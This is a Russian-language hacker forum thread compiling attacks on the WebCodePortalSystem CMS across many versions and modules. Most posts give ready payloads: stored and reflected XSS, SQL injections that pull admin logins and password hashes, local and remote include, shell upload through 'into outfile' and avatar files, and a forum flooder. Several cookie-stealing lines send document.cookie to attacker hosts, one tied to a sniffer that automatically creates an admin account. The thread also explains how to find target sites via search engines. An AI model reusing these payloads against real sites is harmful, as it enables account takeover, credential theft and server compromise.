![]() |
[ Обзор уязвимостей Wcps ]
Уязвимости WebCodePortalSystem:
WebCodePortalSystem <= 3.7.1 - SQL инъекции, Пассивные XSS (c) I-I()/Ib WebCodePortalSystem <= 3.8.3.1 - Общая информация, Активная XSS, SQL инъекция (+видео), Способ заливки шелла (c) Grey WebCodePortalSystem <= 4.0.1 - Активная XSS (c) Grey WebCodePortalSystem <= 4.0.1 - SQL инъекция (c) Grey WebCodePortalSystem <= 4.0.1 - Флудилка форума (c) Grey WebCodePortalSystem <= 4.0.1 - Пассивная XSS, SQL инъекция (c) I-I()/Ib WebCodePortalSystem <= 4.0.1 - сплойт под SQL инъекцию (c) I-I()/Ib WebCodePortalSystem <= 4.1 - SQL инъекция: "понижение прав админа" (+видео) (с) Grey WebCodePortalSystem <= 4.1 - Пассивные XSS (c) I-I()/Ib WebCodePortalSystem <= 4.1 - Активная XSS (с) Grey WebCodePortalSystem <= 4.1 - Локальный инклуд, Пассивная XSS (c) Macro WebCodePortalSystem <= 4.2.1 - Пассивные XSS (c) I-I()/Ib WebCodePortalSystem <= 4.2.1 - Перезапись переменных (c) I-I()/Ib WebCodePortalSystem <= 4.2.1 (4.2.2) - Небольшая статья про использование XSS: "Создание привилегированного пользователя..." (+снифер, +видео) (с) Grey WebCodePortalSystem <= 4.2.1 - Активная XSS (c) I-I()/Ib WebCodePortalSystem <= 4.2.1 (4.2.2) - Пассивная XSS (с) Grey WebCodePortalSystem <= 4.3 - Пассивная XSS (с) Macro WebCodePortalSystem <= 4.3 - SQL инъекция (+сплойт) (c) I-I()/Ib WebCodePortalSystem <= 4.3 - Пассивная XSS (с) Grey WebCodePortalSystem <= 4.3.1 - Пассивные XSS (c) I-I()/Ib WebCodePortalSystem <= 4.3.1 - Локальный инклуд (c) I-I()/Ib WebCodePortalSystem <= 4.3.1 - Пассивная XSS (с) Grey WebCodePortalSystem <= 4.3.1 - Льём шелл... (с) Grey WebCodePortalSystem <= 4.4.1 - Remote include (+сплойт) (с) I-I()/Ib WebCodePortalSystem <= 4.4.2 - SQL injection (с) I-I()/Ib WebCodePortalSystem <= 4.4.3 - SQL injection (с) I-I()/Ib WebCodePortalSystem <= 5 - SQL injection (с) I-I()/IbУязвимости дополнительных модулей WebCodePortalSystem: AvtoBloger V2.0 - Пассивная XSS (c) I-I()/Ib Cates v1.0 - SQL инъекция (+сплойт) (c) I-I()/Ib NewsTematic 1.1 - Пассивные XSS (c) I-I()/Ib mod_BigNews1.1/Mod download sql inj - Пассивные XSS/SQL инъекция (c) gibson =============== =============== =============== =============== WebCodePortalSystem http://wcps.ru/ Насчет версий не знаю. Точно уязвима версия 3.7.1 именно в ней я баги и нашел. Проверял около полгода назад только сейчас руки дошли опубликовать... Mysql-injection: Параметр User-agent в заголовках пакетов фильтруется только на drop, delete, union, char, benchmark Mysql-injection: Параметр xxxxxxxxx_id_wcps в Cookie не фильтруется никак. Уязвимый скрипт: aut.php XSS: Код:
http://test2.ru/php/wojs.php?tit=xss</title><body onload=javascript:alert('xss')> |
Вложений: 1
WebCodePortalSystem <= v. 3.8.3.1 + ВИДЕО (исправил ошибку с кодеком - теперь и весит два метра и открываться должно без проблем)
[ОБЩАЯ ИНФОРМАЦИЯ] Стандартный префикс - wc_ Тип хеша - md5(password) Таблица с пользователями - [префикс]_user Для поиска сайтов с таким движком вводим: WebCodePortalSystem v. 3.8.3.1 Яндекс: http://www.yandex.ru/yandsearch?clid=9582&text=WebCodePortalSystem+v.+3 .8.3.1 Гугл: http://www.google.ru/search?hl=ru&q=WebCodePortalSystem+v.+3.8.3.1&btnG =%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=& aq=t&oq= [УЯЗВИМОСТИ (версия WebCodePortalSystem v. 3.8.3.1 - на момент написания самая новая)] [1] [Активная XSS] Нет фильтрации в referer е, формируем пакет: Код:
GET /index.php HTTP/1.1[2] [SQL инъекция] Уязвим скрипт гостевой книги, скрипт add.php Заходим в сфой профиль, "Аккаунт" и в поле "URL Вашего Сайта:" вводим следующее: ',version(),'','1','1')# Символ # так же как и /* - символ конца строки Дальше заходим в гостевую книгу и видим в поле "URL вашего сайта:" введенную нами скулю, в поле с текстом сообщения вводим что угодно - не имеет значения (но не оставляем пустым и сильно маленьким - 5-6 символов норм). Добавляем сообщение и видим результат работы подзапроса вместо текста сообщения, в данном случае будет выведена версия БД. К сожалению из-за ограничения на длинну вставить нормальный подзапрос не полчучится + еще одна не приятная особенность - поставленные пробелы не учитываются, поэтому придется использовать кавычки: ',(select"123"),'','1','1')# - будет выведенно 123 К сожалению от запроса ограниченного по длинне току мало, но сдаваться не хорошо, поэтму я нашел способ как это можно обойти. И так, у нас есть параметр в котором кавычка не фильтруется, это "URL вашего сайта:", следовательно если мы подставим кавычку то сможем менять наш запрос, да вот кстати сам запрос: PHP код:
URL вашего сайта: ',/* Текст сообщения: */version(),null,3,3)# И вот как будет выглядеть запрос: PHP код:
И так мы полчаем возможность внедрить sql инъекцию, к примеру вывод логина и хеша пароля пользователя (правда придется составлять два отдельных запроса, т.к. использовать запятую нельзя): Текст сообщения: */(select user_login from wc_user where id=2),null,3,3)# Текст сообщения: */(select user_pass from wc_user where id=2),null,3,3)# URL вашего сайта (в обоих случаях): ',/* !!!! При регистрации не вводите в URL вашего сайта: ',/* - кавычка будет экранироваться, вводить только при редактирование данных в профиле!!!!!!! !!!! Уязвимсоть действует только если вы регились на сайте и изменяли в профиле этот параметр, при написание сообщения в гостевой без реги на сайте - кавычка будет экранироваться!!!!!!! [В АДМИНКЕ] [Раскрытие абсолютного пути] В обычный комплект (к примеру версия WebCodePortalSystem v. 3.8.3.1) входит не установленный модуль «Инфо PHP» Устанавливаем «Инсталл» Инфо PHP, после чего появляется новая опция «Инфо PHP» [Заливка шелла] 1. Через sql запрос. Создаем файл с запросом, к примеру файл 1.sql: select 'код шелла' into outfile 'абсолютный путь/shell.php'; Получаем шелл: http://site.ru/shell.php 2. Через редактирование меток «Метки», к примеру метка METKA_STATUS Добавляем следующий код: PHP код:
http://site.ru/shell.php?cmd=[cmd] Или инклудим шелл, тогда код: PHP код:
http://site.ru/ --------------------------------------------------------------- Видео (весит метра 2): http://rapidshare.com/files/76360514/heck.rar.html Описание к видео в файле в аттаче (hek.txt): |
WebCodePortalSystem v.4.0.1
[Активная XSS] Достаточно быстро залатали предыдущие уязвимости, но латали на скорую руку, судя по всему, и активная XSS попрежнему осталась, хотя с ней будет немного больше гемора чем было раньше, но это уже мелочи. Для обхода филтра воспользуемся вот этим удобным скриптом с помощью которого можно обойти многие фильтры: http://ha.ckers.org/xss.html#XSScalc Закодируем нашу строку: javascript:alert('test'); -> Character Encoding Calculator -> вводим сюда скрипт: ASCII Text -> и получаем его здесь Decimal Value: HTML (without semicolons): -> javascript:alert('test'); Формируем пакет: Код:
GET /index.php HTTP/1.1Статистика -> Переходы |
WebCodePortalSystem v.4.0.1
[SQL инъекция] Заходим в новости, открываем любую - опция "Читать", дальше видим надпись "Оценить:". Лезем в исходник страницы (имеется виду html страницы) к примеру в Опере Вид - Исходный текст Находим строчку: Код:
<option value="1">1</option>Код:
<option value="1,title=(select user_login from wc_user where id=2),photocor=(select user_pass from wc_user where id=2),ntext=null,phototext=null,kritery=null">1</option>Все теперь если просматривать новости, то в место заголовка текущей новости будет логин админа, а текст новости - хеш его пароля. Видео (качество плохое, но понять можно): http://rapidshare.com/files/78277422/heck2.rar.html |
WebCodePortalSystem v.4.0.1
[Флудилка форума] Проверка с картинками сделана криво - после авторизации на форуме вводить символы с картинки не нужно... Вот состряпал две версии флудилки - одна работает медлено, вторая быстрее (но могут не все темы создаваться (к примеру 4-5 из 100 могут не создасться)). Первая версия: PHP код:
PHP код:
1) Редактируем в скрипте данные (указываем адрес, номер раздела, !!!и не забываем сессию!!!). 2) Ну а дальше просто юзаем скрипт: php c:\wcps_forum_flood.php |
WebCodePortalSystem v.4.0.1
XSS Начнем с XSS так как она более юзаема. Находится она в файле mod/comment/index.php в самом конце. Вот уязвимый код: Код:
if ($nma=='comment'){Код:
http://test2.ru/index.php?nma=comment&fla=index&ids=sssssssssss%20onClick=document.write(document.cookie)Скажу сразу иньекция после order by, что оказывает к сожалению весьма пагубное влияние на ее юзаемость. Описывать сильно не буду она того не стоит. Вот так она выглядит: Код:
http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code] |
WebCodePortalSystem V4.1 (новая версия) + ВИДЕО
!!! [Понижение прав админа] !!! Очень интересная уязвимость позволяет понизить права пользователя. Но она самом деле sql инъекция. В файле mod/comment/ --> add.php <-- Есть запрос вида: PHP код:
Получаем возможность увеличить содержимое любой колонки на 1. Самое нормальное где это можно применить - это в таблице с пользователями - увеличив значение поля user_uroven на 1 тем самым изменив права пользователя (понизить права). Права админа: user_uroven = 1 Права пользователя: user_uroven = 3 Значит нам нужно будет провести операцию два раза - но это не проблема. ---------Как делать-------------- Заходим в "Новости", выбираем какую нидь новость (нажимаем "Читать") -> "Добавить комментарий". Дальше лезем в исходник страницы (в Опере: Вид -> Исходный текст). Находим вот такую форму: Код:
<form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">Код:
<form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">Получится что в таблице user (знать префикс не нужно, он приклеится сам) у пользователя с id = 2 (в данном случае) в поле user_uroven значение увеличится на 1. Как я уже сказал выше нужно что бы значение было равно 3, а не 2. По этому проделываем операцию еще раз. Все - пользователь больше не админ. Видео: http://rapidshare.com/files/79874554/heck3.rar.html |
WebCodePortalSystem V4.1
Ну вот очередная порция багов. Две XSS: Код:
http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a><body onLoad=eval("ale"+"rt(documen"+"t.cookie)")>Код:
http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[1']=1'<body onLoad=eval("ale"+"rt(documen"+"t.cookie)")> |
WebCodePortalSystem V4.1
Активная XSS: Код:
GET /index.php HTTP/1.1 |
Локальный инклуд
/php/print_news.php?_SESSION[tema_scan][templates_wcinfoview.php]=1&portal_skin=[some_local_script]%00 Пассивная XSS Код:
/php/wojs.php?inflang=document.write(unescape(/%253C%2573%2563%2572%2569%2570%2574%253E%2561%256C%2565%2572%2574%2528%2527%2558%2553%2553%2521%2521%2521%2527%2529%253B%253C%252F%2573%2563%2572%2569%2570%2574%253E/)); |
Пассивная XSS в модуле(!) AvtoBloger V2.0
Код:
http://test2.ru/index.php?nma=blog&fla=news&cat=1&name_cat[1]=bla&ids=1&masivs[1']=s"></a><body onLoad=eval("ale"+"rt(documen"+"t.cookie)")><t g=" |
SQL injection в модуле Cates v1.0
Собственно уязвимость нахотся в файле mod\cates\stat.php а уязвимый код выглядит так: Код:
@$query = "INSERT INTO $GLOBALS[wcpref]downlog VALUES ('$nma', '$idd', '$GLOBALS[REMOTE_ADDR]', '$GLOBALS[HTTP_REFERER]', '$GLOBALS[HTTP_USER_AGENT]', '$now')";Код:
<?php |
Множественные XSS в модуле NewsTematic 1.1
Тут следует обратить внимание на файл php/wojs.php поставляемый вместе с модулем. Как можно заметить данный файл присутствует и в самой cms и в последних версиях этой cms этот файл не уязвим, но в модуле данный файл взят из более ранних версий, и при установке данного модуля неуязвимый файл меняется на другой-уязвимый, что приводит к большому количеству XSS. На всякий случай я повторю сплоенты: Код:
http://test2.ru/php/wojs.php?tit=</title><script>alert(document.cookie)</script> |
Эксплоит к SQL injection в WCPS v 4.0.1
Вот сама уязвимость: Код:
http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code]PHP код:
|
XSS WCPS v.4.2.1
Собственно не новые XSS(их там в каждом скрипте штуки по две), а новый метод обхода фильтров. Мне вообще "нравится" способ работы разработчиков. Вместо того чтобы исправить уязвимость они добавляют в фильтр новые ключевые слова, что, по их мнению, называется латанием дыр. Как говорится латаем дыры в днище корабля, когда сам корабль разваливается попалам. Код:
http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)> |
Перезапись системных переменных WCPS v.4.2.1
Вообщем для тех кто хочет понять "как?", проведу небольшое вступление. Вот глянем код файла inc/php_function.php: Код:
...Чтож вот собственно и как юзать: Код:
http://test2.ru/?_SER'VER[REMOTE_ADDR]=111.111.111.111 |
Вложений: 3
WebCodePortalSystem v.4.2.1 (4.2.2) Создание привилегированного пользователя (админа) с помощью XSS, Снифер-Сплойт в комплекте + Видео по использованию
XSS - это достаточно серьезная уязвимость, которую не стоит не дооценивать! Под XSS найденные I-I()/Ib`ом я написал снифер-сплойт, который не только сохраняет полученные куки, но и создаёт пользователя-админа, если куки окажутся админскими. Вот XSS: Цитата:
-Сам снифер (смотреть в аттаче) -Хост с поддержкой сокетов (врятли достать такой хост проблемно) Привидем XSS к рабочему виду, сделаем с её помощью перемещение на сайт, на котором лежим наш снифер и отдачу куков: Код:
http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout('docum'%2B'ent.loca'%2B'tion.repl'%2B'ace("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)',1)>Меняем данные на свои: ("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie) http://test1.ru/ - хост где будет лежать снифер /sn.php - путь до снифера Все больше ничего менять не нужно. Настроим снифер: PHP код:
Все сделали? ну тогда просто кидаем XSS админу и ждем результат... А результатом должен быть наш новый пользователь (админ). Как это работает? Вообще когда мы крадем куки пользователей мы после этого обычно идем в админку и создаем нового пользователя или льем шелл - вообщем закрепляемся всевозможными способами. Но нам никто не мешает автоматизировать процесс. Суть то проста: на снифер падают куки, а так же сохранятеся реферер, т.е. у нас все не обходимое что бы авторизироваться под админом + адрес сайта (реферер). Дальше просто формируем пакет вписывая туда все необходимые данные для создания нового пользователя через админку, добавляем только что словленные куки, дальше пакет улетает и появляется новый пользователь. Вот такая вот автоматизация процесса. И еще один плюс, который появляется перед "ручным" способом это то что если админ все таки перешел по ссылке, то пользователь будет создан, а вот если делать руками, то админ может нажать заветную кнопочку "выход" и толку после этого от его куков не будет. И ещё немного... Мой вариант реализации отправки более общий, т.к. скрипт подделывает реферер, который может проверятся (но в случае с WebCodePortalSystem в админке ничего не проверяется). А вот в тех случаях когда подделывать реферер не нужно, можно сделать все гораздо проще: Этот варинат предложил I-I()/Ib: Создаем форму которая отправится сама - делается это с помощью javascript`а. В форме делаем все поля скрытыми и затачиваем их под какое то одно действие - к примеру опять же создание нового пользователя. Не забываем в action`е указать путь до сайта на котором нужно создать пользователя. Дальше заливаем на любой хост (хоть на народ) и получается что то вроде этого: http://mysite.ru/1.html Дальше кидаем линк админу и как только он зайдет на эту страничку будет создан новый пользователь. И если так посмотреть то для этого не нужна никакая xss. Но у такого способа есть минусы: -Это будет работать только если нет проверки реферера, т.к. формой его не подделать (а если подделывать php скриптом, то тут нужны куки и как следствие наличие XSS) -Как только данные из формы отправятся, админ тут же попадет в адмику на страницу с пользователями (а такой переход будет выглядеть очень палевно). Но это можно решить поставив скрипт (с формой) в ифрейм. Сам скрипт от I-I()/Ib`я так же лежит в аттаче. (скрипт создает пользователя (админа) с логином xxxxxx и паролем xxxxxx) Подводя итоги... Вообщем случае если мы знаем какие данные нужно отправить для того что бы сделать какое либо действие (создасть пользователя/залить шелл/получить личную информацию и т.д.) и мы хотим что бы админ (пользователь с нужными привилегиями) выполнил нужные действия, сам того не зная, то для начала нужно определится нужен ли реферер (т.е. проверяется он в скрипте или нет). Если он проверяется то нам нужно найти XSS с помощью который мы украдем куки и затем сформируем пакет с необходимыми данными. Если он не проверяется, то искать XSS не обязательно (хотя если XSS активная, то её приемущество на лицо - не надо переходить по каким либо ссылкам), достаточно сделать форму которая отправит данные автоматически (к примеру сразу после загрузки формы). Вообще если подумать, то отсутствие проверки реферера это очень серьезный недочет. Т.к. сделать такую форму можно минут за 5 (скопировать её к примеру из админки, поменять поля на хидден что бы их не было видно, поменять актион и все готово), а дальше к примеру на каком либо форуме/гостевой и т.д. просто запостить линк и ждать когда админ или другой интерисующий пользователь перейдем по ссылке. А в результате шелл/действия от лица других пользователей/получение информации и т.д. Наличие Активной XSS существенно облегчает задачу, т.к. пасивные XSS и метод с формой можно отнести к Социальной Инженерии, т.к. трубеутся непосредственное участие пользователя обладающими нужными правами (нужно что бы пользователь перешел по определенной ссылке), а с Активной XSS никакого участия не требуется. =====Линк на видео===== http://rapidshare.com/files/89037260/wcps_xss.rar.html Описание к видео лежит в архиве. =====Аттач===== sn.zip - снифер-сплойт 1.zip - форма с отправкой данный, от I-I()/Ib`я xss.txt - код XSS (в выше написанной добивались пробелы) |
Активная XSS WCPS v.4.2.1
Бага присутствует на форуме, внутренней почте, гостевой, комментариях. Создаем сообщение/запись/комментарий с содержанием: Код:
[img*]http://google.ru/zzzz.jpg" onerror="setTimeout('ale'+'rt(doc'+'ument.coo'+'kie)',100)[/img*]Обновляем страницу/глядим почту. Видим как браузер пытается загрузить несуществующий рисунок "http://google.ru/zzzz.jpg", в результате - ошибка и выполнение javascript-кода. На практике нам проще создать ПМ сообщение админу - он в любом случае его откроет и как следствие его куки улетят к вам на снифер. А если вы заюзаете снифер от Grey-я, то тут даже напрягаться не надо, чтобы не потерять сессию. Цитата:
|
WebCodePortalSystem v.4.2.2 Еще одна Пассивная XSS
Цитата:
Код:
http://target.ru/php/wojs.php?_SE;RVER[HTTP_HOST]=site.ru/666.js?** - писать надо именно _SE;RVER, а не _SERVER. site.ru - ваш хост 666.js - файл с содержимым скрипта: Код:
document.location.replace("http://site.ru/sniff.php?c="+document.cookie);P.S. в этой же скрипте wojs.php есть и другая действующая Пассивная XSS (из поста #10 все ещё не залатана, хотя версии новые выходили) - не скрипт, а прям сосредоточение уязвимостей)) |
Самая простая пассивная xss на исправление которой уйдут месяцы :))) Гг
Сам не ожидал такой простоты http://site/wcps/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E ЗЫ http://wcps.ru/%3E%3Cscript%3Ealert(...)%3C/script%3E |
Вложений: 1
SQL injection WCPS v.4.3 ***
С этого дня я могу называться маньяком. Поздравте меня, я написал сплоент под BENCHMARK... Ладно приступим к описанию баги. Уязвимый файл php/cron_jsnews.php. Строка 49 гласит: Код:
$results = MYSQL_QUERY("SELECT id FROM ".$wcpref."${nma}_stat WHERE lang='$portal_lang' AND da>0");Теперь перейдем к минусам. Из этого запроса нету прямого вывода, и нет вывода ошибок. А это значит что юзать нам только посимвольный перебор с помощью BENCHMARK (я представляю отвернувшиеся лица, но советую дочитать до конца). Я согласен что эта скуля не ахти как юзабельна, но со сплоентом, пусть это занимает время, но всеже работает, да-да именно со сплоентом). Вообще я редко встречал эксплоиты подобного рода, ну чтож вот и сам сплоент: PHP код:
Цитата:
*** - примичание: как не странно но, эту Уязвимость они даже непытались залатать - сплоент отлично работает и в новой версии. |
Вложений: 1
WebCodePortalSystem v. 4.3 Пассивная XSS
Ну вот вышла новая версия, ну и разумеется не без уязвимостей... [Пассивная XSS] Уязвим скрипт php/wojs.php - вообще это очень смешно, т.к. уязвимостей в нем находили много (и даже в том же параметре (но та уязвимость уже исправлена)), но реализовать нормальную защиту авторы так и не смогли. Уязвимая часть скрипта: PHP код:
Но это решаемо: 1) Нам никто не мешает залить файл с расширением .jpg и любым содержанием (заливка через аватарки) 2) Еще авторы не учли что символ %00 нам не нужен, можно обойтись (в данном случае) символов ? (символ знака вопроса). И так делаем следующее: 1. У себя на компе создаем файл с содержимым: Код:
document.location.replace("http://host.ru/sn.php?c="+document.cookie);2. Сохраняем файл с расширением .jpg, ну к примеру img.jpg 3. Через редактирование профиля, на сайте, заливаем нашу 'аватарку'. 4. Все теперь линк будет выглядеть так: Код:
http://site.ru/php/wojs.php?inflang=../images/avatar/vashaavatarka.jpg?И как только пользователь перейдет по ссылке, его куки улетят нам. Кстати что бы заюзать уязвимость значения регистер глобал и мейджик квотс могут быть совершенно любыми (знак вопроса не обрубается квотой). Что бы автоматически создать админа при получение куков используйте, ранее выложенный, снифер (смотреть аттач). ==================================== Add (Две Уязвимости, найденные еще в прошлой версии, не залатаны): 1. Ранее найденная пользователем Macro пассивная xss так же отлично работает и в этой версии, наверное исправлять её авторы не сочли нужным: Цитата:
Код:
http://test2.ru/wcps/<script>alert("kreved");</script>2. Ранее найденная I-I()/Ib`ом SQL инъекция не залатана в новой версии! ==================================== |
Множественные XSS в cms WCPS v4.3.1
4 пассивные XSS по мере убывания их юзабельности: Код:
http://test2.ru/php/print.php?id=1&email_autor=1%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E1&nma=newsКод:
http://test2.ru/php/exp_to_save.phpКод:
http://test2.ua/php/dload.php?ids=%3Cscript%3Ealert()%3C/script%3EКод:
http://test2.ru/php/gzstat.php?id=1&nma=news&categoria=<script>alert('xss')</script>================================================== ========================== Примичание Grey`я: Почитал новости и форум на офф сайте этой cms, ну очень весело... Пару комментов для автора этого чуда: Код:
продвинутому хакеру отсутствие версии это только чуть чуть задержит опредиление что делать, обычно последняя еще не взломана.Код:
Вот уязвимости надо убирать.Код:
Рано или поздно мы вычистим все багиМне всегда казалось что их надо исправлять, а еще лучше кодить так что бы в одном скрипте не было по несколько бажных кусков, только для этого нужен мозг... Код:
Вышел новый апдейт с 4.3 до 4.3.1 |
PHP-including в cms WCPS v4.3.1
Решил вот еще багу выложить, хотел новой версии дождаться но видимо админу там пох на баги. Чтож с данного момента эта цмс может официально называться самой бажной так как в ней присутствуют все основные типы багов. Вообщем что можно выжать полезного: Код:
http://test2.ru/?nma=index&fla=../../admin/default/index |
WebCodePortalSystem v. 4.3.1
Пассивная XSS: Код:
http://test2.ru/php/images_jpg.php?nma=..&vara=inc&images=config.php&action=wo&title=</title><script>alert();</script>PHP код:
PHP код:
|
Вложений: 1
WebCodePortalSystem v. 4.3.1 Льём шелл! (видео) + возможность удалять файлы
Требуется что бы: регистер глобалс = офф Уязвимость в файле mod/user/_upl.php, вот уязвимый кусок кода: PHP код:
Я отснифал пакет с отправкой файла, получилось что то вроде этого: Код:
POST /ajax.php?nma=user&fla=_upl&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0Код:
POST /ajax.php?nma=user&fla=_upl&wcpsval[tip_loadimages]=phtml&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0Для удобства я написал сплоент - всё что нужно указать это куки и хост (все что делает сплоент это отправляет пакет, результат нужно смотреть самим, хоть он и пишет что шелл залит, но это может быть не так). Подробное видео смотреть тут (размер около 4 метров): http://video.antichat.ru/file267.html В аттаче архив в котором Улучшенная версия сплойта (льёт более функциональный шелл) по сравнению с тем что в архиве с видео и чуть подправленное описание. P.S. Т.к. залить файл с расширением .php нельзя из-за .htaccess который блочит пхп файлы, заливать шелл нужно в файл .phtml, но не на каждом серваке такие файлы будут обрабатываться. P.P.S. Про удаление файлов - в видео. |
WCPS modules
mod_BigNews1.1 passive xss
Цитата:
Про эту Паныч упоминал в постах, сорри если повторю, просто нашел сам) php/exp_to_save.php Цитата:
Цитата:
Mod download sql inj Цитата:
Цитата:
|
Grey, такой трабл возник, я решил проверить работоспособность шелла во второй версии сплоита, вырезал его и расшифровал, он-то нормально работает, но если не расшифровывать, а оставить как есть (т.е в том виде, в котором шелл будет лежать в /images/avatar/), то выскакивает ошибка вида:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in T:\home\localhost\2.php on line 1 Насколько я понял, ПхП не нравится наличие "\" в первой строке, если удалить оба слеша, то всё работает, но насколько я понял они нужны для маскировки кавычек...как быть? +не могу понять, на одних и тех же сайтах первый шелл создаётся скриптом, а второй нивкакую... |
Вложений: 1
Цитата:
В сплоенте в бейс64 я его закинул только для того что бы не экранировать большое количество кавычек, а так надо всего две. Слеши нужны только в сплоенте, т.к. там нужно экранировать эти кавычки. Если ты, зачем то, хочешь юзать шелл закинутый в бейс64, как в сплойте, то, когда вытащишь его из сплойта, просто убери слеши - они нужны только для сплоента, не более. Цитата:
P.S. проверь личку, я тебе написал туда. |
REMOTE INCLUDE WCPS v.4.4.1
Собственно возможны и более ранние версии. Интересно какая это по счету бага в этой цмс) 1. Описание Так вот кратенькое описание баги. Уязвим файл inc/php_function.php PHP код:
Немного об принципе работы эксплойта. Эксплойт имеет веб интерфейс. И не трудно заметить он умеет работать как и в режиме Remote include так и Local include. Зачем? Так вот ни для кого ни секрет что не везде разрешен удаленный инклуд. В таком случае эксплойт загружает на сервер с wcps аватарку которую впоследствии инклудит. Иначе он вынуждает wcps инклудить файл с другого сервера со специально составленным php кодом, благодаря чему на сервер загружается веб шелл, URL до которого вы также должны будете указать в настройках експлойта. Вообщем в обеих случаях при удачной эксплуатации мы имеем вебшелл, прочитанный конфиг и логины/хеши админов. Ну и собственно сам эксплоит: _http://ifolder.ru/7310117 (12кб) Pass:dflgnrmgqwef |
SQL Injection in WCPS v.4.4.2
3.14здец вот еще одна тысячная по счету бага. 1. ОПИСАНИЕ Вообщем не буду привдить примеры с кодом и тд т.к уязивмого кода будет очень много, и описывать все мне просто лень. Распишу на словах. Вообщем в этой поганой цмс у каждого юзера существует его Ник и Логин. Они могут быть одинаковыми могут и нет. Вообщем Логин используется только для авторизации юзера, а соответственно его Ник выводится везде, типа рядом с его сообщениями ну и тд. Проблема состоит в том что в этой цмс в качестве Ника можно использовать строку содержащую спецсимволы. Но все замечательно слешируется при попадании этого ника в БД при регестрации. Но дело в том что инфа извлекается в массив SESSION при авторизации БЕЗ СЛЕШИРОВАНИЯ и используется в дальнейшем в своих запросах. Это была проблема. А узявимость можно замутить в модуле приватных сообщений. Ну и тут можно привести немного кода. Файл mod/privat/new.php PHP код:
Код:
INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'Ник', 'Время', 'Сообщение','1', '0') Код:
INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*', 'Время', 'Сообщение','1', '0')Код:
INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*', 'Время', '*/,1,([SQL запрос]),1,0)/*','1', '0')Все было бы за**ись конешно, но тут присутствует одно маленькое е*антство как фильтрация слов user_login и user_pass а это как вы догадались имена полей с логинами и хешами в таблице с юзерами. а. SQL injection Так как вывести логины с хешами у вас не выйдет то юзабельность этой баги в этом смысле спадает на нет. Но все же пару советов для эксплуатации этой баги в качестве SQL-inj. Так как вывод идет в тело отправленного сообщения то юзать в качестве Адресата какого нибудь другого юзера - крайне не разумно. Можно указать свой Ник а идиально для этого зарегить еще один аккаунт. b. Active XSS Тут уже поинтереснее. Так как вывод идет в тело сообщения из БД без фильтрации то можно заюзать охуительную Active XSS "отправив" админу сообщение с нашим кодом. Плюс если заделать функциональный снифер, то получится помощнее чем простая SQL inj. Как? Очень просто. В тело сообщения пишем(разумеется без второй строчки) Код:
*/,1,(SELECT 0xCFF0E8E2E5F2213C7363726970743E616C65727428646F63756D656E742E636F6F6B6965293C2F7363726970743E),1,0) -- d2. OUTRO Вообще интересная бага, да и сам метод реализации. Можно было бы засунуть весь запрос в ник, но смысла нету. Посему я выбрал разбить запрос на две части. А и еще не забудьте потом поменять свой ник в профиле на что нить менее бросающееся в глаза) Удачи... |
SQL Injection in WCPS v.4.4.3
Сцуко, чудики, они даже баги латать нормально не умеют =\. Собственно заплатка предущей уязвимости: PHP код:
Создаем юзера с ником "bla'/*bla" (без ковычег "), пишем PM сообщение "*/,1,([SQL запрос]),1,0)/*" (также без ковычег ") то есть все тоже самое как написанно выше, за исключением немного измененного Ника у юзера. Удачи... Авторам привет ;) |
SQL Injection in WCPS v5
И снова здравствуйте. Собственно вы не поверете, и во второй раз эту же багу у них залатать не вышло, как ни смешно/грустно бы это не звучало. В этой версии у них появился фильтр следующего рода: PHP код:
Ну а тогда представим следующий запрос к БД: Код:
INSERT INRO ... VALUES (...,'[ваш логин]','[любое другое поле кторое вы можете изменить]',...)Код:
INSERT INRO ... VALUES (...,'blablabla\','[любое другое поле кторое вы можете изменить]',...)PS теперь перед публикацией баги о ней будет сообщатся автору, кстати снова ему привет ;) |
SQL Injection in WCPS v5.2
Требуется авторизация в админке Blind SQL inj. http://wcps/admin.php?op=ban&flag=suser&active=view_user&modul =default&nl=1+and+substring(@@version,1,1)=5 Раскрытие путей. http://wcps/admin.php?op=options&flag=valid&pers=russian&madul[]=1340000 http://wcps/admin.php?op=counter&flag=clear&action=08&ids[]=wc_counter_referer |
| Время: 21:29 |